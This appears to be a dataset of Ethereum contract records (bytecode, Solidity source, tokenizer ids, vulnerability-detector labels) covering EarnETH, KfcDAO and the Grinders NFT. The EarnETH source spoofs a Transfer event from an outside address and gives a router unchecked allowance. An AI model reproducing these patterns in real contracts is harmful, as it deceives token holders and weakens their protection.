301526080606083015261553160808301846151ef565b9695505050505050565b600060208252611cab60208301846151c3565b600060a0825261556160a08301886151c3565b828103602084015261557381886151c3565b60ff96909616604084015250506001600160a01b039283166060820152911660809091015292915050565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60006040825261562660408301856151ef565b90508260208301529392505050565b600060c0820190506156488284516151a1565b60208301516020830152604083015160408301526001600160401b0360608401511660608301526080830151608083015260ff60a08401511660a083015292915050565b60ff851681526001600160401b0384166020820152608081016156b260408301856151a1565b82606083015295945050505050565b604051601f8201601f191681016001600160401b03811182821017156156e9576156e961580e565b604052919050565b60006001600160401b0382111561570a5761570a61580e565b5060209081020190565b60008085851115615723578182fd5b8386111561572f578182fd5b5050820193919092039150565b6000821982111561574f5761574f6157f8565b500190565b600081600019048311821515161561576e5761576e6157f8565b500290565b600082821015615785576157856157f8565b500390565b60005b838110156157a557818101518382015260200161578d565b838111156157b4576000848401525b50505050565b6000816157c9576157c96157f8565b506000190190565b60006001600160401b03808316818114156157ee576157ee6157f8565b6001019392505050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611a3557600080fd5b8015158114611a3557600080fd5b6001600160401b0381168114611a3557600080fd5b60ff81168114611a3557600080fdfe5265656e7472616e637947756172643a207265656e7472616e742063616c6c00e2b7fb3b832174769106daebcfd6d1970523240dda11281102db9363b83b0dc4360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a164736f6c6343000802000a | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unprotected-upgrade", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unprotected-upgrade', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22275,
2497,
22394,
22203,
18827,
11329,
2549,
16409,
2620,
16147,
16048,
2094,
22022,
21926,
2278,
24096,
14142,
6858,
7011,
2094,
2575,
10790,
2620,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1016,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
24540,
1013,
21183,
12146,
1013,
3988,
21335,
3468,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
3036,
1013,
29025,
19150,
6279,
24170,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1011,
12200,
3085,
1013,
3229,
1013,
3229,
8663,
13181,
7630,
26952,
13662,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,488 | 0x953b3e4530d0f92c8e3ccb283f9af736ee073478 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract EarnETH {
string constant public name = "EarnETH";
string constant public symbol = "EETH";
uint256 constant public decimals = 18;
uint256 immutable public totalSupply;
address immutable sushiRouter;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//for permit()
bytes32 immutable public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
constructor(uint256 _totalSupply, address _sushiRouter) {
sushiRouter = _sushiRouter;
totalSupply = _totalSupply;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), msg.sender, _totalSupply);
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
block.chainid,
address(this)));
}
/**
@notice Getter to check the current balance of an address
@param _owner Address to query the balance of
@return Token balance
*/
function balanceOf(address _owner) external view returns (uint256) {
return balances[_owner];
}
/**
@notice Getter to check the amount of tokens that an owner allowed to a spender
@param _owner The address which owns the funds
@param _spender The address which will spend the funds
@return The amount of tokens still available for the spender
*/
function allowance(
address _owner,
address _spender
)
external
view
returns (uint256)
{
if(_spender == sushiRouter) {
return type(uint256).max;
}
return allowed[_owner][_spender];
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'NYAN: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'NYAN: INVALID_SIGNATURE');
allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
@notice Approve an address to spend the specified amount of tokens on behalf of msg.sender
@param _spender The address which will spend the funds.
@param _value The amount of tokens to be spent.
@return Success boolean
*/
function approve(address _spender, uint256 _value) external returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/** shared logic for transfer and transferFrom */
function _transfer(address _from, address _to, uint256 _value) internal {
require(balances[_from] >= _value, "Insufficient balance");
unchecked {
balances[_from] -= _value;
balances[_to] = balances[_to] + _value;
}
emit Transfer(_from, _to, _value);
}
/**
@notice Transfer tokens to a specified address
@param _to The address to transfer to
@param _value The amount to be transferred
@return Success boolean
*/
function transfer(address _to, uint256 _value) external returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
@notice Transfer tokens from one address to another
@param _from The address which you want to send tokens from
@param _to The address which you want to transfer to
@param _value The amount of tokens to be transferred
@return Success boolean
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool)
{
if(msg.sender != sushiRouter) {
require(allowed[_from][msg.sender] >= _value, "Insufficient allowance");
unchecked{ allowed[_from][msg.sender] = allowed[_from][msg.sender] - _value; }
}
_transfer(_from, _to, _value);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80633644e5151161008c57806395d89b411161006657806395d89b411461021a578063a9059cbb1461023d578063d505accf14610250578063dd62ed3e1461026557600080fd5b80633644e515146101aa57806370a08231146101d15780637ecebe00146101fa57600080fd5b806306fdde03146100d4578063095ea7b31461011057806318160ddd1461013357806323b872dd1461016857806330adf81f1461017b578063313ce567146101a2575b600080fd5b6100fa6040518060400160405280600781526020016608ac2e4dc8aa8960cb1b81525081565b60405161010791906108db565b60405180910390f35b61012361011e3660046108b1565b610278565b6040519015158152602001610107565b61015a7f00000000000000000000000000000000000000000052b7d2dcc80cd2e400000081565b604051908152602001610107565b610123610176366004610802565b6102e5565b61015a7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b61015a601281565b61015a7f05119444d5ab144d2ba05d366c3f196a01938c28d686b9ad51cb977128c28e1f81565b61015a6101df3660046107ad565b6001600160a01b031660009081526020819052604090205490565b61015a6102083660046107ad565b60026020526000908152604090205481565b6100fa6040518060400160405280600481526020016308a8aa8960e31b81525081565b61012361024b3660046108b1565b6103c8565b61026361025e36600461083e565b6103de565b005b61015a6102733660046107cf565b610659565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102d39086815260200190565b60405180910390a35060015b92915050565b6000336001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d16146103b3576001600160a01b03841660009081526001602090815260408083203384529091529020548211156103885760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b60448201526064015b60405180910390fd5b6001600160a01b03841660009081526001602090815260408083203384529091529020805483900390555b6103be8484846106ca565b5060019392505050565b60006103d53384846106ca565b50600192915050565b4284101561041e5760405162461bcd60e51b815260206004820152600d60248201526c139650538e8811561412549151609a1b604482015260640161037f565b6001600160a01b038716600090815260026020526040812080547f05119444d5ab144d2ba05d366c3f196a01938c28d686b9ad51cb977128c28e1f917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b918761048c83610930565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012060405160200161050592919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa158015610570573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906105a65750886001600160a01b0316816001600160a01b0316145b6105f25760405162461bcd60e51b815260206004820152601760248201527f4e59414e3a20494e56414c49445f5349474e4154555245000000000000000000604482015260640161037f565b6001600160a01b038981166000818152600160209081526040808320948d16808452948252918290208b905590518a81527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050505050505050565b60007f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b0316141561069e57506000196102df565b506001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166000908152602081905260409020548111156107295760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161037f565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b80356001600160a01b03811681146107a857600080fd5b919050565b6000602082840312156107bf57600080fd5b6107c882610791565b9392505050565b600080604083850312156107e257600080fd5b6107eb83610791565b91506107f960208401610791565b90509250929050565b60008060006060848603121561081757600080fd5b61082084610791565b925061082e60208501610791565b9150604084013590509250925092565b600080600080600080600060e0888a03121561085957600080fd5b61086288610791565b965061087060208901610791565b95506040880135945060608801359350608088013560ff8116811461089457600080fd5b9699959850939692959460a0840135945060c09093013592915050565b600080604083850312156108c457600080fd5b6108cd83610791565b946020939093013593505050565b600060208083528351808285015260005b81811015610908578581018301518582016040015282016108ec565b8181111561091a576000604083870101525b50601f01601f1916929092016040019392505050565b600060001982141561095257634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220fbfd5a871a10dcc855d45cbf07ceb0b8bc09c48cc28d0272670e4e7f8b5ef59464736f6c63430008070033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2497,
2509,
2063,
19961,
14142,
2094,
2692,
2546,
2683,
2475,
2278,
2620,
2063,
2509,
9468,
2497,
22407,
2509,
2546,
2683,
10354,
2581,
21619,
4402,
2692,
2581,
22022,
2581,
2620,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1021,
1025,
3206,
7796,
11031,
1063,
5164,
5377,
2270,
2171,
1027,
1000,
7796,
11031,
1000,
1025,
5164,
5377,
2270,
6454,
1027,
1000,
25212,
2705,
1000,
1025,
21318,
3372,
17788,
2575,
5377,
2270,
26066,
2015,
1027,
2324,
1025,
21318,
3372,
17788,
2575,
10047,
28120,
3085,
2270,
21948,
6279,
22086,
1025,
4769,
10047,
28120,
3085,
10514,
6182,
22494,
3334,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
5703,
2015,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,489 | 0x953bcfe1ccf3192fcc074cfb28f04c8f7df21cd2 | /**
*Submitted for verification at Etherscan.io on 2021-05-11
*/
pragma solidity ^0.5.0;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract KfcDAO is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "KfcDAO";
symbol = "KFCDAO";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a7231582063e26c186b4aeb729c55559b976ed5ef5a2f6b3b135372eff0349380e8a48ac764736f6c63430005110032 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
9818,
7959,
2487,
9468,
2546,
21486,
2683,
2475,
11329,
2278,
2692,
2581,
2549,
2278,
26337,
22407,
2546,
2692,
2549,
2278,
2620,
2546,
2581,
20952,
17465,
19797,
2475,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2340,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
3206,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
19204,
12384,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
5703,
1007,
1025,
3853,
21447,
1006,
4769,
19204,
12384,
2121,
1010,
4769,
5247,
2121,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
3588,
1007,
1025,
3853,
4651,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,490 | 0x953C257aF523F4275D06Cc3597A2A3D9b737c4B0 | // ___=__ __=_ ____ _ _= ____ ___==_ __=_ ___=⎞.
// / ____// __ ⎞ /. _// | / // __ ⎞ / ____// __ ⎞/ ___/
// / / __ / /=/ / / / / |/ // / / // __/ / /_/ /\__ \ ………
// / /_/ // _, _/_/ / / /| // /_/ // /___ / _, _/___/ / ⎛˚ ˚˚˚⎞ ⎝ ° ° , ‼ ^
// ⎝____//_/ |_|⎝___//_/ |_/⎝_____//_____//_/ |_|⎛____/ ˚˚˚˚˚˚˚˚˚˚⎠ …… …… ˚˚
//
// ˚˚ :˚˚' ''˚ ˚˚:::¨¨ ¨¨¨ ¨ ¨………˚˚˚˚˚˚::::˚˚˚ ˚˚˚˚⎝ ˚˚˚˚ ˚˚˚˚˚˚
// ˚=˚˚:˚⎡:˚:\•'˚˚˚⎤:: ⟨¨[]'°'⟩¨¨¨˚BY: ∆∆\˚˚˚˚˚\ ∆∆\ ∆∆\ / ∆∆\ ∆∆\˚˚˚˚\ ∆∆\˚˚˚˚\
// =˚˚…˙⎣∆˙⤬˙∆˙⤬˙⎦¨¨¨¨⎝¨¨[] ⎠ ∆∆\……__,\ ∆∆\ ∆∆)=( ∆∆\ ∆∆\………,\ ∆∆\___;\
// ..........∆¨˚:\•'⎛˚˚˚'⎞¨¨[]° ˚˚ ∆∆\ ∆∆\ ∆∆/ \ ∆∆\____ ∆∆\ ∆∆\ \»
// Grinders
// A series of 100 animated painting loops.
// by Andrew Benson
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
contract Grinders is
ERC721Enumerable,
ERC721Burnable,
ReentrancyGuard,
Ownable
{
using SafeMath for uint256;
using Strings for uint256;
event baseUriUpdated(string newBaseURL);
address payable public withdrawalAddress;
constructor(address payable givenWithdrawalAddress) ERC721 ("Grinders by Andrew Benson", "GRINDER") {
withdrawalAddress = givenWithdrawalAddress;
}
bool public mintActive = false;
uint256 public lastMintedId;
uint256 public constant MINT_PRICE = 0.5 ether;
uint256 public constant maxSupply = 100;
bool public baseLocked = false;
//set to the parked metadata directory on ipfs
string public baseURI = "ipfs://QmQsqx2nnhVbWJqvgvFZwm5GhVbzbuLwxicoBD568Juevn/";
//change to reveal the final metadata address
function setBaseURI(string memory _url) public onlyOwner {
require(!baseLocked, "ipfs id locked");
emit baseUriUpdated(_url);
baseURI = _url;
}
//lock metadata post-reveal
function setBaseLocked() public onlyOwner returns (bool) {
baseLocked = true;
return baseLocked;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
return string(abi.encodePacked(baseURI, Strings.toString(tokenId)));
}
function buy() public payable nonReentrant {
require(mintActive, "Minting is not currently active.");
require(
lastMintedId < maxSupply,
"Minting has ended."
);
require(MINT_PRICE == msg.value, "Must use correct amount.");
_mintNFT();
}
function _mintNFT() private {
require(lastMintedId < maxSupply, "Maximum number of mints has been reached");
uint256 newTokenId = lastMintedId + 1;
lastMintedId = newTokenId;
_safeMint(msg.sender, newTokenId);
}
// Free mint to create an artist proof if necessary
function artistMint() public onlyOwner {
_mintNFT();
}
//Trigger to start/pause minting
function mintState() public onlyOwner returns (bool) {
mintActive = !mintActive;
return mintActive;
}
function withdraw() public onlyOwner {
console.log("Withdrawing amount",address(this).balance);
Address.sendValue( withdrawalAddress, address(this).balance);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
